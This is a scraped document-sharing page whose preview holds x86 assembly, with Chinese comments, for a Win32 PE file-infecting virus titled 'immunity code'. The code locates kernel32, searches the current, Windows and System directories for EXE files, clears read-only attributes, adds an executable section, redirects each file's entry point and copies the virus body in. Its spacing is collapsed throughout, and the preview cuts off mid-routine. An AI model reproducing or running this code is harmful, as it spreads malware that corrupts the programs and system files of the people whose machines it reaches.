immunity代码柴婷婷文档格式.docx

上传人:b****6 文档编号:20928408 上传时间:2023-01-26 格式:DOCX 页数:25 大小:21.72KB
下载 相关 举报
immunity代码柴婷婷文档格式.docx_第1页
第1页 / 共25页
immunity代码柴婷婷文档格式.docx_第2页
第2页 / 共25页
immunity代码柴婷婷文档格式.docx_第3页
第3页 / 共25页
immunity代码柴婷婷文档格式.docx_第4页
第4页 / 共25页
immunity代码柴婷婷文档格式.docx_第5页
第5页 / 共25页
点击查看更多>>
下载资源
资源描述

immunity代码柴婷婷文档格式.docx

《immunity代码柴婷婷文档格式.docx》由会员分享,可在线阅读,更多相关《immunity代码柴婷婷文档格式.docx(25页珍藏版)》请在冰豆网上搜索。

immunity代码柴婷婷文档格式.docx

nstart:

popebp

subebp,offsetnstart

病毒中常用的一种方法。

得到一个偏移差。

程序后面用到的所有变量都需要加上个这偏移差

assumefs:

nothing;

设置SEH,发生异常可以直接返回原入口.

leaebx,SEH[ebp]

pushebx

pushfs:

[0]

movfs:

[0],esp

movOldEsp[ebp],esp

=========================

*更改程序入口地址*

cmpold_base[ebp],0

jnzgonext

movold_base[ebp],400000h

gonext:

cmpold_in[ebp],0

jnzchange

movold_in[ebp],1000h

change:

moveax,old_base[ebp]

movdes_base[ebp],eax

moveax,old_in[ebp]

movdes_in[ebp],eax

变量定义的的意思见后方

程序开始执行时,当前程序的原入口地址会放到old_base+old_in中

由于程序中old_base_in有别的用途,因此将此地址存放到

des_base_in,以便最后跳回原程序入口。

获得KERNEL32地址及所需的API函数地址

moveax,[esp+10h];

//取Kernel32返回地址

andax,0f000h

movesi,eax;

//得到Kernel.PELoader代码位置(不精确)

LoopFindKernel32:

subesi,1000h

cmpwordptr[esi],'

ZM'

;

//搜索EXE文件头

jnzshortLoopFindKernel32

GetPeHeader:

movzxedi,wordptr[esi+3ch]

addedi,esi

cmpwordptr[edi],'

EP'

//确认是否PE文件头

jnzshortLoopFindKernel32;

esi->

kernel32,edi->

kernel32PEHEADER

//////////////////////////////////////////////////查找GetProcAddress函数地址

movvKernel32[ebp],esi

GetPeExportTable:

movebx,[edi+78h];

4+14h+60h

addebx,vKernel32[ebp];

//得到输出函数表

movvExportKernel[ebp],ebx

push14

callaGetProcAddr

db"

GetProcAddress"

aGetProcAddr:

leaeax,GetApiAddress[ebp]

calleax

oreax,eax

jzExitTimes

movvGetProcAddress[ebp],eax;

得到GetProcAddress地址

leaesi,bGetModuleHandle[ebp];

获得所有用到的KERNEL32函数的地址

leaedi,vGetModuleHandle[ebp]

cld

ComeOn:

lodsd

addeax,ebp

pusheax

pushvKernel32[ebp]

calldwordptrvGetProcAddress[ebp]

stosd

cmpdwordptr[esi],0

jnzComeOn

callUserDll1

db"

User32.dll"

UserDll1:

calldwordptrvGetModuleHandle[ebp]

oreax,eax

jnzRight

callUserDll2

UserDll2:

calldwordptrvLoadLibrary[ebp]

jzExitTimes;

获得USER32.DLL地址

Right:

callGetMess

MessageBoxA"

GetMess:

pusheax

calldwordptrvGetProcAddress[ebp]

jzExitTimes

movvMessageBox[ebp],eax;

获得MESSAGEBOX地址

-------------------------

目录的开头部份

leaeax,NowPath[ebp]

moveax,256

callvGetCurrentDirectory[ebp];

成功返回写入字节数,失败返回0

testeax,eax

通过API函数得到当前程序所在目录

leaeax,SrcDir[ebp]

callvlstrcpy[ebp]

保存当前目录

movNowPathNo[ebp],1

FindStartT:

cmpNowPathNo[ebp],1

jzGFindFt

cmpNowPathNo[ebp],2

jzGetWinD

cmpNowPathNo[ebp],3

jzGetSysD

jmpAllFindEnd

根据NowPathNor值来判断感染哪个目录的文件

GetWinD:

callvGetWindowsDirectory[ebp]

callvSetCurrentDirectory[ebp]

jmpGFindFt

得到WINDOWS所在目录,并且将其设为当前目录

GetSysD:

callvGetSystemDirectory[ebp]

得到SYSTEM所在目录,并且将其设为当前目录

GFindFt:

leaeax,FindData[ebp]

leaeax,FileFilter[ebp]

callvFindFirstFile[ebp]

cmpeax,INVALID_HANDLE_VALUE

jzFindEnds

movhFind[ebp],eax

查找当前目录下的第一个EXE文件

GoOnFind:

获得文件的属性,确保文件可以被打开

leaeax,FindData[ebp].cFileName

callvGetFileAttributes[ebp]

cmpeax,-1

jzEndDir

movOldAttribute[ebp],eax

testeax,1

jzOpen

andeax,0fffffffeh

callvSetFileAttributes[ebp]

Open:

以下是病毒传染部份

push0

pushFILE_ATTRIBUTE_NORMAL

pushOPEN_EXISTING

pushFILE_SHARE_READ+FILE_SHARE_WRITE

pushGENERIC_READ+GENERIC_WRITE

callvCreateFile[ebp]

movhFile[ebp],eax

打开文件

leaeax,LastWriteTime[ebp]

leaeax,LastAccessTime[ebp]

leaeax,CreationTime[ebp]

pushhFile[ebp]

callvGetFileTime[ebp]

jzCloseFile1

保存原来文件修改时间

push0

pushPAGE_READWRITE

pushNULL

pushhFile[ebp]

callvCreateFileMapping[ebp]

jzCloseFile

movhMapping[ebp],eax

pushFILE_MAP_READ+FILE_MAP_WRITE

pushhMapping[ebp]

callvMapViewOfFile[ebp]

jzCloseMap

movpMapping[ebp],eax

判断感染条件:

1,是否PE.2:

是否已感染.3:

是否有足够的空间.4:

WINZIP自解压文件

movebx,eax

assumeebx:

ptrIMAGE_DOS_HEADER

moveax,[ebx].e_lfanew

testeax,0fffff000h

jnzEndDir;

Header+stub不可能太大,超过4096byte

movpe_header_off[ebp],eax

addebx,eax;

此时ebx指向PE文件头

assumeebx:

ptrIMAGE_NT_HEADERS

cmp[ebx].Signature,IMAGE_NT_SIGNATURE;

是PE文件吗?

jnzUnMap

cmpwordptr[ebx+1ah],'

FB'

是否已经感染

jzUnMap

***************************************************************

指向第二个节判断是否是WinZip自解压文件

是就不感染

***************************************************************

moveax,ebx

addeax,18h;

PEHEADER(4)+FILEHEADER(14)

movzxesi,[ebx].FileHeader.SizeOfOptionalHeader

addeax,esi;

eax指向第1个节表

assumeeax:

ptrIMAGE_SECTION_HEADER

movedx,[eax].PointerToRawData

addedx,ebx

subedx,pe_header_off[ebp]

subedx,4

cmpdwordptr[edx],0

jnzUnMap

addeax,28h;

eax指向第2个节表

movedx,eax

assumeedx:

moveax,[edx].PointerToRawData

addeax,ebx

subeax,pe_header_off[ebp]

addeax,12h;

加10h+2h(10h处为"

WinZip...."

cmpdwordptr[eax],'

piZn'

push[ebx].OptionalHeader.FileAlignment

popFileAlign[ebp]

判断是否有足够空间存储新节

28h=sizeofIMAGE_SECTION_HEADER,18h=sizeofIMAGE_FILE_HEADER

edi将指向新节

movzxeax,[ebx].FileHeader.NumberOfSections;

文件的节数

movecx,28h

mulecx

addeax,pe_header_off[ebp]

addeax,18h

addeax,esi

movNewSection_off[ebp],eax;

保存新节起始RVA

比较增加新节后是否超出SizeOfHeaders(节.TEXT在文件中的RVA)

cmpeax,[ebx].OptionalHeader.SizeOfHeaders

jaInfest;

即使没有添加空间还是可以免疫

pushpMapping[ebp];

关闭映射文件,然后从新生成新的映射文件

callvUnMapViewOfFile[ebp];

并将映射文件的空间增加4K以便加入病毒代码

callvCloseHandle[ebp]

callvGetFileSize[ebp];

getfilesize

movecx,FileAlign[ebp]

xoredx,edx

divecx

testedx,edx

jzNoChange

inceax

NoChange:

movfsize[ebp],eax;

文件尺寸节文件对齐

addeax,1000h

pusheax

movebx,eax

addebx,pe_header_off[ebp];

ptrIMAGE_NT_HEADERS

Noinfect:

保存原入口

moveax,[ebx].OptionalHeader.AddressOfEntryPoint

movold_in[ebp],eax

moveax,[ebx].OptionalHeader.ImageBase

movold_base[ebp],eax

movedi,NewSection_off[ebp];

新节的RVA

addedi,pMapping[ebp];

edi->

新节起始地址

*********************************************************************

空间允许,^0^,开始插入新节并填充各字段

esi指向原文件最后一个节,利用它来填充新节某些字段

*********************************************************************

inc[ebx].FileHeader.NumberOfSections;

节数目+1

movesi,edi;

edi指向新节

subesi,28h;

esi指向上一个节

assumeedi:

ptrIMAGE_SECTION_HEADER

assumeesi:

mov[edi].Name1,41h;

随便为新节命名,使之不等于0

push[ebx].OptionalHeader.SizeOfImage;

原文件映像装入内存后的总尺寸,对齐SectionAlignment.

pop[edi].VirtualAddress;

新节在内存中的地址

moveax,offsetvend-offsetvstart

mov[edi].Misc.VirtualSize,eax;

新节的大小(未对齐)

movecx,[ebx].OptionalHeader.FileAlignment

jzNoChange1

NoChange1:

mulecx

mov[edi].SizeOfRawData,eax;

新节对齐FileAligment后的大小

moveax,fsize[ebp]

mov[edi].PointerToRawData,eax;

本节在文件中的位置

mov[edi].Characteristics,0E0000020h;

可读可写可执行

*****************************************************************************************

更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行

*****************************************************************************************

moveax,[edi].Misc.VirtualSize;

movecx,[ebx].OptionalHeader.SectionAlignment;

内存节对齐

jzNoChange2

NoChange2:

addeax,[ebx].OptionalHeader.SizeOfImage;

对齐后大小+原文件映像装入内存后的总尺寸,对齐SectionAlignment.

mov[ebx].OptionalHeader.SizeOfImage,eax;

更新后的文件映像装入内存后的总尺寸,对齐SectionAlignment.

moveax,[edi].VirtualAddress;

新节在内存中的地址写入入口点

mov[ebx].OptionalHeader.AddressOfEntryPoint,eax

movwordptr[ebx+1ah],'

写入感染标志

movedi,pMapping[ebp]

addedi,fsize[ebp]

leaesi,vstart[ebp]

movecx,offsetvend-offsetvstart

cld

repmovsb;

将病毒代码写入映射的内存中(在原文件之后)

***********

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 历史学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1